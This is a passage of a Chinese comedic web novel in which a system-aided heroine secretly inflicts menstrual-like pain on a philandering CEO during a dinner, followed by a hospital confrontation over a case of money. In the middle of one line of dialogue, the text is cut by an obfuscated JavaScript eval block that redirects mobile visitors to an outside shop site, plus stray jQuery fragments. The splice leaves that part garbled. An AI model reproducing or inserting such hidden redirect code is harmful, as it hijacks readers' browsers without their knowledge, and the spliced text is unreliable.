邵月橙扮成服务员，拿着提前醒好的红酒进去时，刚好听到霍怀归在问：“伯父约了朋友聚会？”
“才不是。”沈皎撇了下嘴，“他们都是为了这次的新项目来的。”
“要不是爸爸拉着我打招呼，我也不会迟到这么久。”沈皎观察着霍怀归的神色，状似撒娇道。
语气点到为止。
说罢，她话音一转。端起邵月橙刚倒好的酒杯，朝对面的人俏皮地眨眨眼道：“但有我在，沈家的合作永远优先你。”
霍怀归举起酒杯与之轻轻碰了一下，温柔笑道：“敬我们的未来。”
邵月橙勾了勾唇，轻声带关了门。
在她关门的瞬间，霍怀归脸色一白，下腹传出一阵剧烈的绞痛感。
痛得他将刚送入口的酒，又都吐了出来。
“哥哥，爸爸说我们的婚事......”沈皎咽下酒，颇为兴奋地说着，抬头看向对方——
“！！！”
“快叫救护车！”她吓得朝门外大喊，跑过去狠狠摇着霍怀归，“哥哥你怎么了？！”
那阵强烈的痛感过去，好不容易好了那么一丁点的霍怀归，差点又给人用大力给摇背过气去。
他拍了拍沈皎死死抠住他的手，勉强笑道：“我没事。”
沈皎一看霍怀归能动，好歹松了口气。但还是不放心地问道：“那你刚刚怎么合不拢嘴？”
霍怀归脸扭曲了一下，正想开口解释。沈皎就已经贴心地拿着毛巾给人擦起嘴来。
“哥哥，面瘫如果不及时治疗，是很容易留下后遗症的。”她捧起霍怀归的脸，心疼又委屈道，“我们还没办酒，爸爸是不会允许我和嘴歪眼斜的你在一起的......”
霍怀归听得脸抽筋，又疼又气。愣是空白了好几秒没说得出一句话来。
但这一切看在沈皎眼里，就完全变了样。
她此时害怕极了，只知道声嘶力竭朝门外大喊：“来人啊！霍总犯病了！！”
霍怀归强忍着剧痛扒拉开沈皎的手，咬着牙一字一顿道：“我没病，刚才只是咬到了舌头。”
沈皎惊魂未定，表情将信将疑：“你确定？！”
霍怀归脸都绿了，强撑着给秘书打了个电话：“给沈小姐发一份我的体检报告。”
“不用不用。”沈皎不断摆着手，还是抽空偷瞄了一眼对方的报告。
这才彻底放下心来，叫服务员们重新收拾餐具上菜。
霍怀归忍着一阵强过一阵的剧痛走剧情，全程把脸吃得绿叽叽的。
邵月橙拉着系统躲在安全通道里看直播，笑得有点喘不上来气。
“这，这个沈皎怕也是个人才。”邵月橙擦着眼角笑出的眼泪，“面瘫这种病症都能被她想到。”
“还别说，真挺像。”她叉着腰深吸口气，这才慢慢平复了自己爆笑的情绪。
小鸡仔点头附和：[到底是塑料爱情。]
邵月橙心满意足地伸了个懒腰，总算是消了些一直憋在自己胸口的气。
也不枉费她为霍怀归氪金二百五。
嗯~感同身受......
这金手指名字，确实取得挺贴切。
小鸡仔盯着屏幕里霍怀归那张难看得要命的脸，突然歪头问：[你们女生睡着时，月经还会往外流吗？]
邵月橙被问得一愣，随即震惊。
“！！！”
我靠。
这是个好问题。
她猛地凑近屏幕看去——
沈皎优雅地切着盘中的牛排，笑着试探道：“哥哥最近是不是很忙？”
霍怀归原本只是痛到几乎麻木的身体一紧，瞬间夹紧腿。打了个尽量不那么明显的尿惊。
餐刀“刺啦”一声划在盘子上，发出刺耳的声响。
一股排山倒海的气和热流感从他小腹蓦地直窜而下，冲到底后，又被堵回。
开始向上返。
霍怀归脸都憋紫了，不想说话。
只是剧情不允许啊。
于是他开口，打出了一连串的嗝：“从前嗝~~~~认识的一个人前阵子出狱了......”
他一口气“嗝”完都瘫了，但表情上还有轻微的满足感余留。神游天外般继续着后面的台词：“我替她安顿了一下。”
被喷了一口浓浓黑胡椒味的沈皎：“...............”
她木着脸放下刀叉，再不想说一句话。
隔岸感受到新金手指厉害程度的邵月橙，默默伸手对着屏幕点了个赞。
满脸嫌弃地退离了屏幕前，也说不出一句话来。
小鸡仔腼腆捉毛：[都说我们是专业的了......]
.
翌日。
消毒水的气味刺入鼻腔，于韫缓缓睁开眼睛。
白色的天花板，滴答作响的输液瓶，她猛然意识到自己竟躺在了医院里。
"你醒了？"一个年长的护士走过来，查看着一旁显示屏上于韫的身体指标。
她边登记边解释道："你在便利店晕倒了，是你同事帮你叫了救护车。"
“后来你朋友在这守了你一夜。”护士记录着数据道。
朋友？
于韫闻言试图坐起来，却感到一阵天旋地转，身体也摇摇欲坠。
"别急，你现在身体很虚弱。"护士忙上前扶住她，"需要联系家人吗？"
家人。
简单的两个字，于韫抓着被单的手指收紧，面色瞬间变得更加苍白。
"不用了，我自己可以。"她缓缓开口，声音却哑得厉害。
"你子宫受损，"护士犹豫地说，"医生建议你住院观察两天，做个全面检查。"
于韫表情麻木，淡淡道：“能帮我拔掉针头吗？我要出院。”
护士劝道：“可你的身体......”
“不碍事。”不等护士反应，于韫直接扯掉了手背上的针头。
血珠立刻冒了出来，但她却像是感觉不到疼一般，在护士错愕的目光下平静道：“而且我付不起医药费。”
护士还想劝，却在看到于韫麻木的神情后顿了一下，改口道：“那你等会，至少拿点药......”
这次，于韫没有拒绝。
护士转身出去拿药，于韫便收拾起自己的东西。
她打开手机看了一眼，看到了好几个拨给霍怀归的通话记录。
前面四个都被挂断，只有一个显示通话三秒。
于韫攥着手机的手不自觉地紧了紧。
她突然就有点想笑。
她发现，她甚至能想象霍怀归接通她电话时嫌弃又不耐的表情。
于韫自嘲笑笑，正想拿包离开。病房门却再次被人推开。
霍怀归白着脸从门口走进来，领口甚至都被汗浸湿了一大块。手里的黑色箱子都快拎不住，状态差得厉害。
就连张口的话，几乎都变成了呻吟：“为......什么......要......这么，折腾自己......”
于韫下意识低头看了眼还算清爽的自己：“......？？”
空气有点安静。
霍怀归本还想说话，但奈何下腹暖流感再涌，他只能绿着脸歇上一歇。
于韫抓着被单的手蓦地收紧了一下，僵坐在床上一动不敢动，眼神时不时瞄向厕所。
两人一时间各怀心思，不说话。空气就变得更安静了。
邵月橙扒着门框偷望，见状咽了口唾沫悄摸摸道：“我发现这二百五不亏。”
她摇头感叹：“太持久了。”
系统一秒充当导购员，向‘客人’保证道：[当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763013|205302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然，我们价格公道实惠。]
邵月橙毫不同情地咋舌：“谁让这渣男这时候才来，活该疼这么久！”
系统闻言挠了挠脸，忍不住小声说道：[其实他昨天来过。]
“啊？”邵月橙转头看向系统，一脸的问号。
昨晚霍怀归一直陪着沈皎到很晚，两人都没分开。
邵月橙等得相当不耐烦，又担心于韫这边的情况，就开了任意门先过来看看。
结果守着守着也困了，霍怀归那边还没散场。她就躺在另一张病床上想着眯一会。
谁知道一觉睡到了大早上。
邵月橙捂脸震惊：“我睡这么死？！”
“不是不是。”小鸡仔连连摆手，“他没上来。”
“？”
邵月橙眼里都冒出了问号。
小鸡仔自觉解释不清，干脆调出了昨晚后续的直播画面：[你自己看看吧。]
邵月橙看到两人赏完夜景，霍怀归绅士地为沈皎拉开了车门。
看着沈家的车远去，霍怀归脸上的笑容立刻消失。漆黑的眸子深处闪过一丝倦怠。
他捏了捏眉心，转身朝助理说道：“去医院。”
本来人都已经走上医院大门前的楼梯了，结果上到最后一节时，霍怀归整个人同手同脚地转了个弯，又重新往下楼走去。
重新坐上车离开。
邵月橙看得眉头大皱，转头问：“又是故事框架搞的鬼？”
系统点点头，表情有点疲惫的无奈。
“但这是在剧情点之外啊！”她不明白。
系统沉声道：[书中人物在剧情点之外时，只是受控制程度较小。并不是完全不受控制。]
邵月橙看着停格的视频画面，也陷入了沉默中。
这故事框架的干预程度，看来在逐步增加。
那她身为主书中的女二，会不会也......
“砰！”
玻璃瓶砸地碎裂的声音猛地传来，极速拉回了邵月橙纷乱的思绪。
她被吓了一跳，循声看，结果就看到了满地的输液瓶渣，以及——
好大一箱钱！！！！
邵月橙眼睛瞪得老大，直勾勾盯着那箱钱不放。差点把口水都流了出来。
系统斜眼：[我感觉你现在特别像个抢劫犯。]
邵月橙扒拉开小鸡仔的脑袋，懒得跟人废话。
“阿韫，我只是想补偿你。”房间里传来霍怀归带着无奈的叹息。
晨风吹起于韫的头发，掩盖住她眼里的冰凉与绝望。
她突然冲上前，一把掀翻保险箱。一张张钞票飞散在空中，像是下起了一场荒诞的金钱雨。
于韫在漫天钞票中与霍怀归对视，她冷笑：“补偿我？你不过是想补偿你自己！”
气氛突然变得凝固起来。
霍怀归抿着唇，面色变得极其难看起来。
“就这么讨厌我？”他阴沉道。
于韫没有回答，只是弯腰捡起地上的钱箱往外扔到了门边上。
霍怀归脸上的阴霾更重了，周身气压低到好像结了一层寒霜。
两人一时都没说话。
就在这短暂的僵持间，病房门再次被人推开。
“霍总，沈小姐的电话。”助理站在门口小心翼翼开口，“她说她有急事找您。”
霍怀归闭了闭眼，平复心绪后退了一步。
“好好休息。”他深深看了于韫一眼，转身离开。
关门的声音在安静的病房里格外刺耳。
于韫站在散落的钞票堆中，浑身发抖。
她摸了摸脸，才发现自己早已泪流满面。
良久，于韫深吸口气，拿着手机头也不回地离开了房间。
徒留满地无人捡拾的钞票，在初晨的第一缕阳光中讽刺得刺眼。